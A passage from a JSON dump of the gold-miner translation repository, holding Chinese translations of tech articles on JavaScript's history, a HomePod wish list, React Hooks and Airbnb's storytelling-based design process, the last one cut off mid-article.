[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/history-of-javascript.md",
    "content": "> * 原文地址：[Brief History of JavaScript](https://roadmap.sh/guides/history-of-javascript)\n> * 原文作者：[Kamran Ahmed](https://twitter.com/kamranahmedse)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/history-of-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/history-of-javascript.md)\n> * 译者：[Pingren](https://github.com/Pingren)\n> * 校对者：[Chorer](https://github.com/Chorer)，[PingHGao](https://github.com/PingHGao)\n\n# JavaScript 简史\n\n> JavaScript 的起源以及这些年的发展情况\n\n大约十年前<sup><a name=\"noteref1\" href=\"#note1\">[1]</a></sup>，Jeff Atwood（Stackoverflow 创始人）断言 JavaScript 将会是未来的方向，并创造了 “Atwood 定律”：**任何可以使用 Javascript 编写的程序，最终都会由 Javascript 编写**。十年后的今天，这个断言相比之前更加可信了。JavaScript 的应用范围不断扩大。\n\n### JavaScript 发布\n\nJavaScript 最初由 NetScape 的 [Brendan Eich](https://twitter.com/BrendanEich) 创造，并在 1995 年 Netscape 的闻稿中首次发布。它有着非同寻常的命名历史：首先由创造者命名为 `Mocha`，接着被重命名为 `LiveScript`。1996 年，在发布大约一年之后，NetScape 希望能够蹭蹭 Java 社区的热度（虽然 JavaScript 与 Java 毫无关系），因此决定再将其重命名为 JavaScript，并发布了支持 JavaScript 的 Netscape 2.0 浏览器。\n\n### ES1、ES2 和 ES3\n\n1996 年，Netscape 决定将 JavaScript 提交到 [ECMA 国际](https://en.wikipedia.org/wiki/Ecma_International)，期望将其标准化。第 1 版标准规范在 1997 年发布，同时该语言也被标准化了。在首次发布之后，`ECMAScript` 的标准化工作持续进行，不久之后，发布了两个新的版本：1998 年的 ECMAScript 2 和 1999 年的 ECMAScript 3。\n\n### 十年沉寂和 ES4\n\n1999 年发布 ES3 之后，官方标准出现了十年的沉寂，这期间没有任何变化。第 4 版标准起初有一些进展，部分被讨论的特性有类、模块、静态类型、解构等等。它本来定在 2008 年发布，但是由于关于语言复杂度的不同政治意见<sup><a name=\"noteref2\" href=\"#note2\">[2]</a></sup>而被废弃。但是，浏览器厂商不停引入语言的扩展，这让开发者大伤脑筋 —— 他们只能添加 polyfill<sup><a name=\"noteref3\" href=\"#note3\">[3]</a></sup> 来解决不同浏览器之间的兼容性问题。\n\n### 从沉寂到 ES5\n\nGoogle、Microsoft、Yahoo 和其余 ES4 的争论者最终走到了一起，决定在 ES3 之上创造一个小范围的更新，并暂时命名为 ES3.1。但是整个团队仍旧关于 ES4 该包含什么内容而争论不休。终于，在 2009 年，ES5 发布了，主要修复了兼容性和安全问题等。但是它并没有翻起多大浪花 —— 经过了数年时间后浏览器厂商才完全遵循了相关标准，许多开发者在不知道 “现代” 标准的情况下依旧使用 ES3。\n\n### ES6 —— ECMASript 2015 发布\n\n在 ES5 发布数年之后，事情开始有了转机。TC39（ECMA 国际之下负责 ECMAScript 标准化的委员会）持续进行下一版本的标准化的工作，该版本的 ECMAScript（ES6）起初命名为 ES Harmony<sup><a name=\"noteref4\" href=\"#note4\">[4]</a></sup>，在最终发布时被命名为 ES2015。ES2015 添加了许多重要的特性和语法糖以便于编写复杂的程序。部分 ES6 提供的特性包括了类、模块、箭头函数、加强的对象字面量、模板字符串、解构、默认参数 + Rest 参数 + Spread 操作符、Let 和 Const 语法、异步迭代器 + for..of、生成器、集合 + 映射、Proxy、Symbol、Promise、math + number + string + array + object 的 API [等等](http://es6-features.org/#Constants)<sup><a name=\"noteref5\" href=\"#note5\">[5]</a></sup>。\n\n浏览器对 ES6 的支持依旧十分有限，但是开发者只需要编写 ES6 代码并将其转译至 ES5，就可以使用 ES6 的所有特性。随着第 6 版 ECMAScript 的发布，TC39 决定以每年更新的模式来发布 ECMAScript 的更新，这样新特性就可以在通过时尽快地加入标准，不需要等待完整的规范起草和通过 —— 因此第 6 版 ECMAScript 在 2015 年 6 月发布前，被命名为 ECMAScript 2015 或 ES2015。并且之后的 ECMAScript 版本发布定于每年 6 月。\n\n### ES7 —— ECMASript 2016 发布\n\n在 2016 年 6 月，第 7 版 ECMAScript 发布了。由于 ECMAScript 变成了年更模式，ECMAScript 2016（ES2016）相对来说没有太多新内容。ES2016 只包含了两个新特性：\n\n* 指数运算符 `**`\n* `Array.prototype.includes`\n\n### ES8 —— ECMAScript 2017 发布\n\n第 8 版 ECMAScript 在 2017 年 6 月发布。ES8 主要的亮点在于增加了异步函数，以下是 ES8 新特性的列表：\n\n* `Object.values()` 和 `Object.entries()`\n* 字符串填充 比如 `String.prototype.padEnd()` 和 `String.prototype.padStart()`\n* `Object.getOwnPropertyDescriptors`\n* 在函数参数定义和函数调用中使用尾后逗号\n* 异步函数\n\n### 什么是 ESNext\n\nESNext 是一个动态的名字，指当前的 ECMAScript 版本。例如，在本文编写的时候，`ES2017` 或 `ES8` 是 `ESNext`。\n\n### 未来会发生什么\n\n自从 ES6 发布后，[TC39](https://github.com/tc39) 极大提高了他们的效率。 现在 TC39 以 Github 组织的形式运行，在上面有许多关于下一版的 ECMAScript 新特性和语法的[提议](https://github.com/tc39/proposals)。任何人都可以[发起提议](https://github.com/tc39/proposals)，因此开发者社区可以更多地参与进来。在正式形成规范前，每个提议都会经过[四个发展阶段](https://tc39.github.io/process-document/)。\n\n这差不多就是全部内容了，欢迎在评论区留下你的反馈。以下是原始语言规范的链接：[ES6](https://www.ecma-international.org/ecma-262/6.0/)、[ES7](https://www.ecma-international.org/ecma-262/7.0/) 和 [ES8](https://www.ecma-international.org/ecma-262/8.0/)。\n\n1. 译者注：本文写于 2017 年，所以十年前是 2007 年。<a name=\"note1\" href=\"#noteref1\">↩︎</a>\n2. 译者注：技术层面的分歧以及商业政治都是 ES4 失败的原因，知乎上曾经有过相关的[讨论](https://www.zhihu.com/question/24715618)。<a name=\"note2\" href=\"#noteref2\">↩︎</a>\n3. 译者注：Web 开发中，polyfill 指用于实现浏览器并不支持的原生 API 的代码。<a name=\"note3\" href=\"#noteref3\">↩︎</a>\n4. 译者注：Harmony 有和谐，协调的意思。<a name=\"note4\" href=\"#noteref4\">↩︎</a>\n5. 译者注：如果你感兴趣，可以使用[这个中文教程](https://zh.javascript.info/)学习这些特性。<a name=\"note5\" href=\"#noteref5\">↩︎</a>\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。"
  },
  {
    "path": "TODO1/homepod-12-wish-list.md",
    "content": "> * 原文地址：[HomePod WWDC Wish List: Beta program, new audio sources, Echo features](https://9to5mac.com/2018/05/29/homepod-12-wish-list/)\n> * 原文作者：[apollozac](https://twitter.com/apollozac)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/homepod-12-wish-list.md](https://github.com/xitu/gold-miner/blob/master/TODO1/homepod-12-wish-list.md)\n> * 译者：[Dandy Xu](https://github.com/dandyxu)\n\n# 关于 HomePod WWDC 的愿望清单: 测试版程序、新的语音资源、Echo 等功能\n\n![](https://9to5mac.files.wordpress.com/2018/02/homepod-design-2.jpg?quality=82&w=2000#038;strip=all&w=1600)\n\nWWDC [将在周一举行](https://9to5mac.com/2018/05/22/wwdc-2018-keynote-date/)，我们能够第一次了解到新HomePod的主要功能。苹果公司正在 [今天部署](https://9to5mac.com/2018/05/29/ios-11-4-coming-today-homepod-gains-multiroom-audio-and-stereo-pairing-with-airplay-2/) 那些已在一年前就宣布并承诺实现的功能 — 包括隔空播放 2（AirPlay 2）和立体声支持 — 这一举动给下个星期将发布的HomePod的未来留下了遐想空间。\n\n除了音乐播放质量之外，其他所有的领域改进的可能性是非常大的。\n\n### HomePod 操作系统 11.4\n\niOS 11.4 和 tvOS 11.4 已经在开发者版本和公开测试版的情况下进行了数周，今天终于发布了正式版本。这些软件更新包括了对隔空播放 2（}AirPlay 2）的支持以及暗示了一些还未发布的 HomePod 功能。\n\n这些功能还包括立体声配对，用于将两个HomePods以左 + 右的配置连接在一起。以及对日历的支持，这项功能是 Siri 基础功能之一，但是在 HomePod 上一直缺失。另有传言，苹果公司可能将推出 AirPort Express 连接音响 [能够和隔空播放 2（AirPlay 2）搭配使用](https://9to5mac.com/2018/04/04/airplay-2-airport-express/)，但 [不再继续](https://9to5mac.com/2018/04/26/apple-airport-cancellation/) 更新的 AirPort 产品线又为这个传言增加了一些不确定性。\n\n尽管所有这些的功能都已经在测试版本的 iOS 中得到了暗示，但它们目前为止都没有经过和 HomePod 和 AirPort Express 连接的测试。今天晚些时候，我们终于可以进行上手测试。\n\n![](https://9to5mac.files.wordpress.com/2018/04/homepod.jpg?quality=82&strip=all&strip=all)\n\n### HomePod 测试版\n\nHomePod 测试版程序是继那些预测之后，带给我的第一个需求。苹果已经有一个针对 iOS、macOS、watchOS 以及 tvOS 的开发者测试版程序，因为开发者们需要在未发布的软件上测试应用程序。但是 HomePod 目前为止还没有开发者测试版。\n\n这并不意味着所有的应用程序都不可以在 HomePod 上进行测试，只是针对 SiriKit 方面。但是在 iOS 开发者测试版上运行公开发布的 HomePod 软件版本会导致一些兼容性错误，因为 HomePod 在一些功能上依赖于一个 iOS 设备以及需要和这个设备处于同一个 Wi-Fi 网络中。\n\n另外，提供开发者以及公开测试版能够允许一些未发布的 HomePod 功能给更多的用户进行测试（那些用户通常都能更早地接受新的功能）。从开发者和公开测试中获得的反馈能够帮助新的功能在正式发布前，变得更稳定。\n\n![](https://9to5mac.files.wordpress.com/2018/03/homepod-update.jpg?quality=82&strip=all&strip=all)\n\n### HomePod 操作系统 12\n\n目前为止，期待或者要求 HomePod 公开更多的信息似乎变得十分奇怪：一年前就已经预览，原本在 12 月份承诺发布，但跳票直到来年 2 月中旬，而且直到今日都还没有发布两个重大的功能。\n\n但 HomePod 中的 Siri 相对 iPhone 中的 Siri 缺少了很多功能 - 甚至是基础的功能！— 而且有些功能你原本期望一个智能音乐播放器能够独立于 iPhone 使用。WWDC 2018 对于苹果而言是第一个提供改进计划的机会。\n\n基于这种考虑，这里有一些功能，我认为针对 HomePod 在接下来的一年中是十分合理的需求：\n\n*   **博客同步问题的修复**：HomePod 只能够和 iOS、tvOS 和 iTunes一样去播放播客专辑，但我几乎从来不使用这些功能因为糟糕的同步功能。最差的体验是，在 iPhone 上已经播放了 40 分钟，但 HomePod 中居然开始从头播放，而且这一操作直接覆盖了 iPhone 的播放进度。。。\n*   **iBooks 语音读本的缓冲**：HomePod 支持从苹果音乐和苹果博客中缓冲播放内容，iBooks 的语音读本也需要加入这个支持 (只要进度同步能够正常工作！)。我已经十分享受从 iPhone 隔空播放语音读本到 HomePod 中播放。添加原生支持的 Siri 控制也是非常自然的功能 — 而且这一点已经和另一个传言一样盛传 - 传言 iBooks 将改名为 Apple Books。\n*   **更多的广播电台**：苹果音乐支持很多电台，包括 NPR 和国家公共电台、ESPN、CBS 新闻，还有一些更多的电台。但电台功能通常被限制在一些特定的服务提供商中。苹果能够通过添加更多的电台至苹果音乐，或者通过加入像 TuneIn 或者 iHeartRadio 的服务进行改进，后者已经成为在线电台的数据库。\n\n![](https://9to5mac.files.wordpress.com/2018/04/homepod-side.jpg?quality=82&strip=all&strip=all)\n\n*   **音乐** **自动化**：HomePod 和另外一些隔空播放 2 (AirPlay 2) 播放器都是 HomeKit 的配件，而且都出现在苹果的 Home 应用程序中。但目前为止，还没有太多的机会给音乐自动化方面。你可以通过告诉 HomePod “晚安”，这样你的灯就可以关闭，天花板排风扇会打开，同时窗帘会关闭，这些能够通过 HomeKit 实现。通过添加一个苹果音乐站台或者播放列表，能够给类似的场景添加这些功能似乎是一个很自然的下一步选择。\n*   **从 Alexa 处借鉴**：毫无疑问，Amazon Echo 和 Google Home拥有一些让 HomePod 看起来远远落后的功能。我有一个 Amazon Echo Dots，部署在我家中，能够实现给家中每一个房间实现智能控制 (30 美金 - 50 美金 / 每房间，这比 $350 / 每间要更划算)，这些能够给我提供测试 Echo 相关的功能。这里有一些我家人经常使用并且觉得十分有用的功能，我十分期待在 HomePod 中也能看到：\n    *   对讲机：该功能能够让你，像使用房间对房间的内部通话系统一样使用音响\n    *   发布：该功能能够让你从一个音响向家中每一个音响发布语音指令\n    *   每日简报：这能够让你每天收到一条个性化的新闻简报，当你需要的时候。HomePod 似乎有一个版本支持播客以及特定播客的新闻、体育、科技和商业内容，但它们现在完全是另一条指令，包括天气在内。\n*   **音乐闹钟**：这个功能相当基础。你可以在 iPhone 中设置你的音乐闹钟。你也可以在 HomePod 中设置闹铃。但你不可以在 HomePod 中设置音乐闹铃，事实上这是一个音乐播放器。最理想情况下，这一功能也能够和音乐列表和站点同时工作。\n\n![](https://9to5mac.files.wordpress.com/2018/03/homepod-overhead.jpg?quality=82&strip=all&strip=all)\n\n最后，HomePod 中的 Siri 还有很多功能需要跟进，例如能够打电话的能力。你可以将一个通话转移到 HomePod 中去接听，但你不可以使用 Siri 去为你拨打一个电话。总体来说，HomePod 中Siri 能做的功能和在 iPhone 中相比还是相差甚远。\n\n如果我们看完 WWDC 2018 而苹果并没有明确给出 Siri 的时间表 (最起码将它在一页PPT功能中包含)，我认为有很多人会认为 HomePod 并不是 Amazon Echo 和 Google Home 的竞争对手。还有一些人希望 Siri 能够支持第三方音乐播放程序，这样消费者可以将 Spotify 中的音乐投放到 HomePod 中。\n\n### 隔空播放 2 音响\n\n隔空播放 2 的承诺近在眼前，而且这对于家庭语音系统是非常重要的一环。在隔空播放 2 之前，在多个房间中，从 iOS 播放苹果音乐最简单的方式就是买一堆 Sonos 的音响，并使用 Sonos 的应用去控制它们。\n\n使用隔空播放 2，你可以告诉 Siri 在特定的房间或者每个房间中播放音乐，并且和 HomePod 以及苹果电视相连的音响都可以实现这点。说到 Sonos，它们最新的音响也能和隔空播放 2 兼容，其他的音响制造商也已经承诺隔空播放 2 将实现。也许我们能够很快看到已经承诺的 Beats 公司实现这一功能。\n\n![](https://9to5mac.files.wordpress.com/2017/11/airplay-2.jpg?quality=82&strip=all&strip=all)\n\n你有一些对于 HomePod 功能自己的见解？在评论中让我们知道！你也可以在下面的列表中跟进了解有关 watchOS 5 和 tvOS 12 的愿望清单，请于本周保持关注，我们将报道更多的内容针对周一即将到来的 WWDC 2018：\n\n*   [watchOS 5 愿望清单：苹果手表博客、开放的 Siri 表盘、重新设计的控制中心及更多](https://9to5mac.com/2018/04/04/watchos-5-wish-list/)\n*   [tvOS 12 愿望清单：苹果新闻视频、直播电视导览、夜间护眼模式、PIP 以及个人账户等更多功能](https://9to5mac.com/2018/05/07/tvos-12-wish-list/)\n\n* * *\n\n* [获取更多苹果咨询，请订阅 9to5Mac 的 YouTube 频道](https://www.youtube.com/c/9to5mac?sub_confirmation=1)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/hooks-intro.md",
    "content": "> * 原文地址：[Introducing Hooks](https://reactjs.org/docs/hooks-intro.html)\n> * 原文作者：[reactjs.org](https://reactjs.org/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/hooks-intro.md](https://github.com/xitu/gold-miner/blob/master/TODO1/hooks-intro.md)\n> * 译者：[Sam](https://github.com/xutaogit)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996)\n\n# Hook 介绍\n\n*Hook* 是一项新的功能提案，可以让你在不编写类的情况下使用状态（state）和其他 React 功能。它们目前处于 React v16.7.0-alpha 阶段，并且在[开放式 RFC 中](https://github.com/reactjs/rfcs/pull/68)进行着讨论。\n\n```js{4,5}\nimport { useState } from 'react';\n\nfunction Example() {\n  // Declare a new state variable, which we'll call \"count\"\n  const [count, setCount] = useState(0);\n\n  return (\n    <div>\n      <p>You clicked {count} times</p>\n      <button onClick={() => setCount(count + 1)}>\n        Click me\n      </button>\n    </div>\n  );\n}\n```\n\n这个 `useState` 新功能将是我们学习的第一个“钩子”，但这个例子仅仅是个预告。即便你对它没感觉也不用担心！\n\n**你可以[在下一页](https://reactjs.org/docs/hooks-overview.html)开始学习 Hook**。在本页面上，我们将继续解释为什么我们要将 Hook 添加到 React 中，以及它们如何帮助你编写出色的应用。\n\n## 没有重大的变化\n\n在我们继续之前，请注意 Hook 是：\n\n* **完全可选择引入。** 你无需重写任何现有代码，就能在一些组件里尝试使用 Hook。但如果你不想，你不必现在学习或使用 Hook。\n* **100% 向后兼容。** Hook 不包含任何重大的更改。\n* **现在可用。** Hook 目前处于 alpha 版本，我们希望在收到社区反馈后把它们包含在 React 16.7 中。\n\n**没有把类从 React 中移除的计划。** 你可以在本页面[底部](https://reactjs.org/docs/hooks-intro.html#gradual-adoption-strategy)阅读更多关于渐进式采用 Hook 的策略信息。\n\n**Hook 不会取代你对 React 概念的理解。** 相反地，Hook 为你已知的 React 概念（props、state、context、refs 和 lifecycle）提供了更直接的 API。并且稍后我们还将演示，Hook 还提供了一种组合它们新的强大的方式。\n\n**如果你只是想开始学习 Hook，请随意[直接跳到下一页！](https://reactjs.org/docs/hooks-overview.html)** 你也可以继续阅读本页，详细了解我们为什么要添加 Hook，以及我们是如何在不重写应用程序的情况下开始使用它们的。\n\n## 动机\n\nHook 解决了我们在过去五年时间里编写和维护数以万计 React 组件时遇到的各种看似不相关的问题。无论你是在学习 React，还是日常使用，甚至说是喜欢使用具有类似组件模型的其他库，你都有可能注意到这些问题。\n\n### 在组件之间重用带状态逻辑很困难\n\nReact 没有提供把可重用行为“附加”到组件上的方法（例如，把它关联到 store 里）。如果你已经使用了 React 一段时间，你可能会熟练使用[渲染属性](https://reactjs.org/docs/render-props.html)和[高阶组件](https://reactjs.org/docs/higher-order-components.html)的模式尝试解决这个问题。但这些模式需要你在使用它们的时候对组件进行重构，这可能会很麻烦并且使代码更难以跟踪。如果你看一下 React DevTools 里的典型 React 应用程序，你也许会发现一个由提供者、消费者、高阶组件、渲染属性和其他抽象层包裹起来的“包装地狱”组件。虽然我们可以[在 React DevTools 中过滤它们](https://github.com/facebook/react-devtools/pull/503)，但这里引出了一个更深层次的基本问题：React 需要一个更好的分享带状态逻辑的原语。\n\n使用 Hook，你可以从一个组件中导出带状态逻辑，以便它可以单独测试和复用。**Hook 允许你在不改变组件层次结构的情况下复用带状态逻辑。** 这样就可以轻松地在多个组件之间或者社区里共享 Hook。\n\n我们将在[编写自定义钩子](https://reactjs.org/docs/hooks-custom.html#using-a-custom-hook)里进行更多的讨论。\n\n### 复杂的组件变得难以理解\n\n我们经常不得不维护从简单开始，但后来变成混杂着带状态逻辑和副作用无法管理的组件。每个生命周期方法通常都包含了一堆不相关的逻辑。例如，组件也许要在 `componentDidMount` 和 `componentDidUpdate` 方法里请求数据。但是，同样是在 `componentDidMount` 方法，可能会包含不相关的设置事件监听的逻辑，还得在 `componentWillUnmount` 里清除。本该一起更改的相关联代码被拆分，而完全不相关的代码却最终组合到一个方法里。这就太容易引入 bug 和导致不一致了。\n\n很多情况下不可能把这些组件拆分得更小，因为到处都有带状态的逻辑。而且测试它们也很困难。这就是许多人更喜欢将 React 与单独的状态管理库相结合的原因之一。但是，这通常会引入太多的抽象(概念)，使得你在不同的文件之间跳转，同时让重用组件变得更加困难。\n\n为了解决这个问题，**Hook 允许你基于相关联的部分(例如设置订阅或获取数据)把一个组件拆分成较小的函数**，而不是基于生命周期函数强制拆分。你还可以选择使用 reducer 管理组件的本地状态，以使其更具可预测性。\n\n我们将在[使用效果 Hook](https://reactjs.org/docs/hooks-effect.html#tip-use-multiple-effects-to-separate-concerns) 里更多地讨论这个问题。\n\n### 类（Class）混淆了人类和机器\n\n通过我们的观察，发现类是学习 React 最大的障碍。你必须理解 `this` 在 JavaScript 中是怎么工作的，大多数语言中它的工作方式有很大不同。你必须记住绑定事件处理程序。如果没有不稳定的[语法提案](https://babeljs.io/docs/en/babel-plugin-transform-class-properties/)，代码就非常冗长。人们可以很好地理解属性，状态和自上而下的数据流，但仍然很艰难地与类作斗争。React 中的函数和类组件之间的区别以及何时使用哪种组件，即使在经验丰富的 React 开发人员之间也会引发分歧。\n\n此外，React 已经推出大概五年时间了，并且我们希望确保它在未来的五年里还保持相关性。就像 [Svelte](https://svelte.technology/)，[Angular](https://angular.io/)，[Glimmer](https://glimmerjs.com/) 和其他人表明的那样，[提前编译](https://en.wikipedia.org/wiki/Ahead-of-time_compilation)组件未来有很大的潜力。特别是在它不局限于模版的情况下。目前，我们已经使用 [Prepack](https://prepack.io/) 做了[组件折叠](https://github.com/facebook/react/issues/7323)的实验，并且我们已经看到了有前景的早期结果。但是，我们发现类组件可能会引发无意识的模式使得这些优化回退到较慢的路径上。类也给今天的工具提出了问题。例如，类不能很好地压缩，并且它们使得热更新加载变得片状和不可靠。我们希望提供一种 API，使代码更可能的留在可优化的路径上。 \n\n为了解决这个问题，**Hook 允许你在没有类的情况下使用更多 React 的功能。** 概念上来说，React 组件一直是更接近于函数的。Hook 拥抱函数，但不会牺牲掉 React 实际的精神。Hook 提供了对命令式逃生舱口的访问，并且不需要你学习复杂的函数式或反应式编程技术。\n\n> 例子\n>\n>[Hook 概览](https://reactjs.org/docs/hooks-overview.html)是开始学习 Hook 的好地方。\n\n## 逐步采用策略\n\n> **TLDR：没有从 React 中移除类的计划**\n\n我们知道 React 开发者专注于发布产品，没有时间研究正在发布的每个新 API。Hook 是很新的，在考虑学习或采用它们之前等待更多的示例和教程可能会更好。\n\n我们也理解为 React 添加新原语的标准非常高。对于好奇的读者来说，我们已经事先准备了一个[详细的 RFC](https://github.com/reactjs/rfcs/pull/68)，里面有更多深入细节的动机，并提供有关特定设计决策的额外视角和相关领先技术。\n\n**至关重要的是，Hook 和现有代码是并行工作的，所以你可以逐步采用它们。** 我们正在分享这个实验性的 API，为了是从社区中那些有兴趣塑造 React 未来的人那里得到早期反馈 —— 然后我们会在公开场合迭代 Hook。\n\n最后，别急着迁移到 Hook。我们建议避免任何“重大改写”，特别是对于现有复杂的类组件。开始“考虑 Hook”需要一点心理上的转变。根据我们的经验，最好先在新的和非相关的组件里练习使用 Hook，并确保团队中的每个人都对它们感到满意。在你尝试 Hook 之后，请随时[给我们发送反馈](https://github.com/facebook/react/issues/new)，无论是积极的还是消极的。\n\n我们打算让 Hook 能覆盖所有现有的类用例，但**我们将在可预见的未来继续支持类组件。** 在 Facebook，我们有数以万计用类编写的组件，显然我们没有要重写它们的计划。相反地，我们开始在新的代码中并行使用 Hook 和类。\n\n## 下一步\n\n在本页的末尾，你应该大致了解 Hook 正在解决的问题，但很多细节可能还不清楚。别担心！**现在让我们进入[下一页](https://reactjs.org/docs/hooks-overview.html)，我们通过示例开始学习 Hook。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-airbnb-proved-that-storytelling-is-the-most-important-skill-in-design.md",
    "content": "> * 原文地址：[How Snow White helped Airbnb prove that storytelling is the most important skill in design](https://uxdesign.cc/how-airbnb-proved-that-storytelling-is-the-most-important-skill-in-design-15d04ac71039)\n> * 原文作者：[Yaz](https://uxdesign.cc/@yazinakkawi?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-airbnb-proved-that-storytelling-is-the-most-important-skill-in-design.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-airbnb-proved-that-storytelling-is-the-most-important-skill-in-design.md)\n> * 译者：[CoolRice](https://github.com/CoolRice)\n> * 校对者：[lihanxiang](https://github.com/lihanxiang), [Park-ma](https://github.com/Park-ma)\n\n## 白雪公主如何帮助 Airbnb 证明在设计中最重要的技能是讲故事\n\n## 公司最大的突破性创新始于文字。\n\n![](https://cdn-images-1.medium.com/max/800/1*hz4NkBByaFm4Mkg_Hf8olQ.jpeg)\n\nPhoto by [Alexis Marcou](https://dribbble.com/AlexisMarcou)\n\n想知道 Airbnb 成功的秘诀和世界级用户体验吗？你可能想求助于迪士尼电影《白雪公主》。\n\n但在我解释原因之前，让我向你介绍 Tom Wolfe。\n\n### “不见即信，但信即所见”\n\nTom Wolfe 闻名于 60 年代的新闻业革命，因其在小说创作中使用更多丰富多彩的故事情节并将其应用于他的非小说类报道。\n\n在他的一本书《The Painted Word》的开篇页面中，Wolfe 描述了他对当代艺术激进运动的突然、惊人的顿悟 —— 特别是关于你所看到和思考的抽象绘画的兴起，“好吧，我已经可以理解了。”\n\nWolfe 的顿悟是由[纽约时报批判](https://www.nytimes.com/1974/04/28/archives/realism-the-painting-is-fiction-enough-art.html)现实主义艺术引发的。简而言之，这位批评者写道，如果没有理论依据它，就很难欣赏一幅画。\n\nWolfe 生动地回忆起读这篇文章并感到不安然后有了一个认真的 “aha moment”，这是他第一次理解当代艺术。\n\n> “这些年来，我和许多其他人一样，站在一千，两千，天知道有多少个[绘画]面前……简而言之，这些年来，我一直认为在艺术领域里如果没有别的方法，那么所见即所信。啊 — 多么地短视！现在终于在1974年4月28日，我知道了我的理解一直都是落后的。“不是**看见就相信**，你个笨蛋，而是**相信即所见**，**因为现代艺术已经完全变成文学的：绘画和其他作品只是为了说明文字而存在**。”\n\n好吧，就像一幅画一样，体验设计启始于文字；提问和回答问题的文字。你想让别人有什么样的感受？你想传递什么样的信息？你想鼓励什么样的行为？\n\n正如 Wolfe 所描述的那样，伟大的体验设计完全是文学上的 —— 对结果（通过产品或服务的设计实现的）的叙述。\n\n### Airbnb 如何使用讲故事（和聘请皮克斯动画师）来设计前沿体验\n\n公司内的每个人都通过讲故事来为体验设计做出贡献。整个体验设计过程中的故事捕捉了客户每个时刻的本质和理想的结果，而不是将设计过程局限于特定的解决方案：客户在每一步都做了什么，思考和感受到什么。\n\n和 Wolfe 一样，Airbnb 利用讲故事的力量在公司成立初期创造了客户体验的突破。\n\n当 Airbnb 首席执行官 Brian Chesky 阅读沃尔特迪士尼的传记时，他发现迪士尼和他的动画师发明了一种**创造白雪公主和七个小矮人**的技术。这种技术被称为故事板，创造漫画书般的故事轮廓，让所有电影的合作者都能理解电影叙事的视觉形态。\n\n对于 Chesky 来说，这是一个灯泡时刻，他立即决定采用故事板来设计未来的 Airbnb 用户体验。\n\n正如 [**Fast Company** 